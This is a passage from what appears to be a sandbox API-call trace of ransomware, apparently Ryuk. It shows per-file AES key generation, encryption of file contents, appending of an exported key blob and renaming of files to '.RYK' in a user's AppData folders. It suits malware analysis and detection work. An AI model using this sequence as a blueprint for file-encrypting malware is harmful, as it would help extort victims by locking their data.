	[0260.229] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.229] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.230] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3111
	os_tid = 0x3590

	[0260.235] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT", dwFileAttributes=0x80) returned 0
	[0260.235] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdipfontcachev1.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.236] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.236] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdipfontcachev1.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdipfontcachev1.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3123
	os_tid = 0x35c0

	[0260.385] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\index.dat", dwFileAttributes=0x80) returned 1
	[0260.385] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.386] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.386] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\index.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3124
	os_tid = 0x35c4

	[0260.390] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\MSHist012020010820200109\\index.dat", dwFileAttributes=0x80) returned 1
	[0260.391] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\MSHist012020010820200109\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\mshist012020010820200109\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.391] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.391] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\MSHist012020010820200109\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\mshist012020010820200109\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\MSHist012020010820200109\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\mshist012020010820200109\\index.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3125
	os_tid = 0x35c8

	[0260.396] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\index.dat.RYK", dwFileAttributes=0x80) returned 1
	[0260.397] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\index.dat.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b8
	[0260.397] GetFileSizeEx (in: hFile=0x8b8, lpFileSize=0x8f8f898 | out: lpFileSize=0x8f8f898*=33058) returned 1
	[0260.397] GetFileSizeEx (in: hFile=0x8b8, lpFileSize=0x8f8f8a8 | out: lpFileSize=0x8f8f8a8*=33058) returned 1
	[0260.397] SetFilePointerEx (in: hFile=0x8b8, liDistanceToMove=0x8000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0260.398] ReadFile (in: hFile=0x8b8, lpBuffer=0x8f8f8f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8f8f860, lpOverlapped=0x0 | out: lpBuffer=0x8f8f8f0*, lpNumberOfBytesRead=0x8f8f860*=0x19, lpOverlapped=0x0) returned 1
	[0260.400] CloseHandle (hObject=0x8b8) returned 1

Thread:
	id = 3126
	os_tid = 0x35cc

	[0260.419] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\MSHist012017071220170713\\index.dat", dwFileAttributes=0x80) returned 1
	[0260.420] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\MSHist012017071220170713\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\mshist012017071220170713\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8bc
	[0260.421] GetFileSizeEx (in: hFile=0x8bc, lpFileSize=0x8cdf778 | out: lpFileSize=0x8cdf778*=32768) returned 1
	[0260.421] GetFileSizeEx (in: hFile=0x8bc, lpFileSize=0x8cdf788 | out: lpFileSize=0x8cdf788*=32768) returned 1
	[0260.421] SetFilePointerEx (in: hFile=0x8bc, liDistanceToMove=0x7ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0260.421] ReadFile (in: hFile=0x8bc, lpBuffer=0x8cdf7d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8cdf740, lpOverlapped=0x0 | out: lpBuffer=0x8cdf7d0*, lpNumberOfBytesRead=0x8cdf740*=0x19, lpOverlapped=0x0) returned 1
	[0260.428] SetFilePointer (in: hFile=0x8bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0260.428] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8cdf758 | out: phKey=0x8cdf758*=0x2b9290) returned 1
	[0260.428] SetFilePointer (in: hFile=0x8bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0260.429] ReadFile (in: hFile=0x8bc, lpBuffer=0x2f90000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x8cdf764, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesRead=0x8cdf764*=0x8000, lpOverlapped=0x0) returned 1
	[0260.430] CryptEncrypt (in: hKey=0x2b9290, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8cdf760*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8cdf760*=0xf4250) returned 1
	[0260.430] CryptEncrypt (in: hKey=0x2b9290, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f90000*, pdwDataLen=0x8cdf768*=0x8000, dwBufLen=0xf4250 | out: pbData=0x2f90000*, pdwDataLen=0x8cdf768*=0x8010) returned 1
	[0260.431] SetFilePointer (in: hFile=0x8bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0260.431] WriteFile (in: hFile=0x8bc, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x8010, lpNumberOfBytesWritten=0x8cdf764, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x8cdf764*=0x8010, lpOverlapped=0x0) returned 1
	[0260.432] WriteFile (in: hFile=0x8bc, lpBuffer=0x8cdf790*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8cdf770, lpOverlapped=0x0 | out: lpBuffer=0x8cdf790*, lpNumberOfBytesWritten=0x8cdf770*=0x6, lpOverlapped=0x0) returned 1
	[0260.432] CryptExportKey (in: hKey=0x2b9290, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8cdf780 | out: pbData=0x0*, pdwDataLen=0x8cdf780*=0x10c) returned 1
	[0260.432] CryptExportKey (in: hKey=0x2b9290, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8cdf7f0, pdwDataLen=0x8cdf780 | out: pbData=0x8cdf7f0*, pdwDataLen=0x8cdf780*=0x10c) returned 1
	[0260.433] WriteFile (in: hFile=0x8bc, lpBuffer=0x8cdf7f0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8cdf770, lpOverlapped=0x0 | out: lpBuffer=0x8cdf7f0*, lpNumberOfBytesWritten=0x8cdf770*=0x10c, lpOverlapped=0x0) returned 1
	[0260.433] CloseHandle (hObject=0x8bc) returned 1
	[0260.434] CryptDestroyKey (hKey=0x2b9290) returned 1
	[0260.434] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\MSHist012017071220170713\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\mshist012017071220170713\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\MSHist012017071220170713\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\mshist012017071220170713\\index.dat.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3127
	os_tid = 0x35d0

	[0260.426] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db", dwFileAttributes=0x80) returned 0
	[0260.427] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\iconcache.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.427] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.427] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\iconcache.db"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\iconcache.db.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3128
	os_tid = 0x35d4

	[0260.565] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms.RYK", dwFileAttributes=0x80) returned 1
	[0260.566] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\feedsstore.feedsdb-ms.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c0
	[0260.566] GetFileSizeEx (in: hFile=0x8c0, lpFileSize=0x956fc38 | out: lpFileSize=0x956fc38*=6946) returned 1
	[0260.566] GetFileSizeEx (in: hFile=0x8c0, lpFileSize=0x956fc48 | out: lpFileSize=0x956fc48*=6946) returned 1
	[0260.567] SetFilePointerEx (in: hFile=0x8c0, liDistanceToMove=0x1a00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0260.567] ReadFile (in: hFile=0x8c0, lpBuffer=0x956fc90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x956fc00, lpOverlapped=0x0 | out: lpBuffer=0x956fc90*, lpNumberOfBytesRead=0x956fc00*=0x19, lpOverlapped=0x0) returned 1
	[0260.569] CloseHandle (hObject=0x8c0) returned 1

Thread:
	id = 3141
	os_tid = 0x3610

	[0260.579] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms", dwFileAttributes=0x80) returned 1
	[0260.580] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c4
	[0260.580] GetFileSizeEx (in: hFile=0x8c4, lpFileSize=0x90ef558 | out: lpFileSize=0x90ef558*=28672) returned 1
	[0260.580] GetFileSizeEx (in: hFile=0x8c4, lpFileSize=0x90ef568 | out: lpFileSize=0x90ef568*=28672) returned 1
	[0260.580] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x6ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0260.580] ReadFile (in: hFile=0x8c4, lpBuffer=0x90ef5b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x90ef520, lpOverlapped=0x0 | out: lpBuffer=0x90ef5b0*, lpNumberOfBytesRead=0x90ef520*=0x19, lpOverlapped=0x0) returned 1
	[0260.611] SetFilePointer (in: hFile=0x8c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0260.612] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x90ef538 | out: phKey=0x90ef538*=0x2b8ea0) returned 1
	[0260.612] SetFilePointer (in: hFile=0x8c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0260.612] ReadFile (in: hFile=0x8c4, lpBuffer=0x3390000, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x90ef544, lpOverlapped=0x0 | out: lpBuffer=0x3390000*, lpNumberOfBytesRead=0x90ef544*=0x7000, lpOverlapped=0x0) returned 1
	[0260.614] CryptEncrypt (in: hKey=0x2b8ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x90ef540*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x90ef540*=0xf4250) returned 1
	[0260.615] CryptEncrypt (in: hKey=0x2b8ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3390000*, pdwDataLen=0x90ef548*=0x7000, dwBufLen=0xf4250 | out: pbData=0x3390000*, pdwDataLen=0x90ef548*=0x7010) returned 1
	[0260.615] SetFilePointer (in: hFile=0x8c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0260.615] WriteFile (in: hFile=0x8c4, lpBuffer=0x3390000*, nNumberOfBytesToWrite=0x7010, lpNumberOfBytesWritten=0x90ef544, lpOverlapped=0x0 | out: lpBuffer=0x3390000*, lpNumberOfBytesWritten=0x90ef544*=0x7010, lpOverlapped=0x0) returned 1
	[0260.617] WriteFile (in: hFile=0x8c4, lpBuffer=0x90ef570*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x90ef550, lpOverlapped=0x0 | out: lpBuffer=0x90ef570*, lpNumberOfBytesWritten=0x90ef550*=0x6, lpOverlapped=0x0) returned 1
	[0260.617] CryptExportKey (in: hKey=0x2b8ea0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x90ef560 | out: pbData=0x0*, pdwDataLen=0x90ef560*=0x10c) returned 1
	[0260.617] CryptExportKey (in: hKey=0x2b8ea0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x90ef5d0, pdwDataLen=0x90ef560 | out: pbData=0x90ef5d0*, pdwDataLen=0x90ef560*=0x10c) returned 1
	[0260.617] WriteFile (in: hFile=0x8c4, lpBuffer=0x90ef5d0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x90ef550, lpOverlapped=0x0 | out: lpBuffer=0x90ef5d0*, lpNumberOfBytesWritten=0x90ef550*=0x10c, lpOverlapped=0x0) returned 1
	[0260.617] CloseHandle (hObject=0x8c4) returned 1
	[0260.626] CryptDestroyKey (hKey=0x2b8ea0) returned 1
	[0260.626] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3142
	os_tid = 0x3614

	[0260.607] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms", dwFileAttributes=0x80) returned 1
	[0260.608] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c8
	[0260.608] GetFileSizeEx (in: hFile=0x8c8, lpFileSize=0x924fa98 | out: lpFileSize=0x924fa98*=28672) returned 1
	[0260.608] GetFileSizeEx (in: hFile=0x8c8, lpFileSize=0x924faa8 | out: lpFileSize=0x924faa8*=28672) returned 1
	[0260.608] SetFilePointerEx (in: hFile=0x8c8, liDistanceToMove=0x6ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0260.609] ReadFile (in: hFile=0x8c8, lpBuffer=0x924faf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x924fa60, lpOverlapped=0x0 | out: lpBuffer=0x924faf0*, lpNumberOfBytesRead=0x924fa60*=0x19, lpOverlapped=0x0) returned 1
	[0260.633] SetFilePointer (in: hFile=0x8c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0260.633] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x924fa78 | out: phKey=0x924fa78*=0x2b8ea0) returned 1
	[0260.634] SetFilePointer (in: hFile=0x8c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0260.634] ReadFile (in: hFile=0x8c8, lpBuffer=0x3090000, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x924fa84, lpOverlapped=0x0 | out: lpBuffer=0x3090000*, lpNumberOfBytesRead=0x924fa84*=0x7000, lpOverlapped=0x0) returned 1
	[0260.639] CryptEncrypt (in: hKey=0x2b8ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x924fa80*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x924fa80*=0xf4250) returned 1
	[0260.639] CryptEncrypt (in: hKey=0x2b8ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3090000*, pdwDataLen=0x924fa88*=0x7000, dwBufLen=0xf4250 | out: pbData=0x3090000*, pdwDataLen=0x924fa88*=0x7010) returned 1
	[0260.639] SetFilePointer (in: hFile=0x8c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0260.640] WriteFile (in: hFile=0x8c8, lpBuffer=0x3090000*, nNumberOfBytesToWrite=0x7010, lpNumberOfBytesWritten=0x924fa84, lpOverlapped=0x0 | out: lpBuffer=0x3090000*, lpNumberOfBytesWritten=0x924fa84*=0x7010, lpOverlapped=0x0) returned 1
